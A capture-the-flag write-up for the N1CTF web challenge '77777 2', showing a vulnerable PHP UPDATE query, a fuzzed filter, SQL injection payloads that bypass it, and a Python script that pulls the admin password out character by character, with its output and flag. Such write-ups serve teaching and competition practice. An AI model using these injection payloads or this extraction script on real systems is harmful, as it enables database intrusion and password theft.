## 77777 2 (Web, 208pt)
> Contestants won't influence each other while solving the challenge.> > http://47.52.137.90:20000
The task was quite similar to [77777](../77777-104/README.md) with some small differences.
The About tab has changed a bit.
```U can update my points in Profile.
and And the flag is `admin's pw`:)```
The `update_point()` function remains exactly the same but we guess that the `waf()` function is less permissive this time.
```phpfunction update_point($p, $points){    global $link;    $q = sprintf("UPDATE users SET points=%d%s, $p, waf($points)");    if(!$query = mysqli_query($link, $q)) return FALSE;    return TRUE;}if(!update_point($_POST['flag'], $_POST['hi']))    echo 'sorry';```
Fuzzing the `waf()` for character limitations, we see that only the following characters are allowed:
```[+]  0, 1, 6, 7, 8[+]  a-z (not 'j')[+]  A-Z (not 'J')[+]  " # $ ' ( ) * + , - . : ; > ? @ [ \ ] _ { | }[+]  \s```
Some MySQL functions have also been restricted. What took more time in this challenge, was to realize that the column name that we had to extract was `pw` and not `password` as before (see About tab). After realing this, we issued the following request to determine password length.
```POST / HTTP/1.1Host: 47.75.14.48Content-Type: application/x-www-form-urlencodedContent-Length: 23Connection: close
flag=1&hi=*length( pw )```
The `waf()` function did not allow the `pw` keyword to be prefixed or followed by any characters apart from whitespaces. So, we put spaces before and after, to bypass it.
Knowing the length and having bypassed the `pw` filtering, we can retrieve full password using a payload such as:
```flag=1&hi=*convert(hex(substr( pw ,BINARY_INDEX,1)),signed)```
The solution is automated in the [solve.py](solve.py) script.
```pythonimport reimport requests
_target = 'http://47.52.137.90:20000/'
def extract_points(html):    return re.search(r'<grey>My Points</grey> \| ([0-9]+)', html).group(1).strip()
def get_pw_len():    d = {'flag': '1', 'hi': '*length( pw )'}    resp = requests.post(_target, data=d)    return int(extract_points(resp.text))
flag = ''for i in range(1,get_pw_len()+1):    d = {'flag': '1', 'hi': '*convert(hex(substr( pw ,0b{0:b},1)),signed)'.format(i)}    resp = requests.post(_target, data=d)    flag += chr(int(extract_points(resp.text), 16))    print flag
print '[+] flag: N1CTF{{{}}}'.format(flag)```
```❯❯❯ python solve.pyhhahahhahahahahhahah7hahah77hahah777hahah777ahahah777a7hahah777a7ahahah777a7ahhahah777a7ahahahah777a7aha7hahah777a7aha77hahah777a7aha777hahah777a7aha7777hahah777a7aha77777hahah777a7aha77777ahahah777a7aha77777aahahah777a7aha77777aaahahah777a7aha77777aaaa[+] flag: N1CTF{hahah777a7aha77777aaaa}```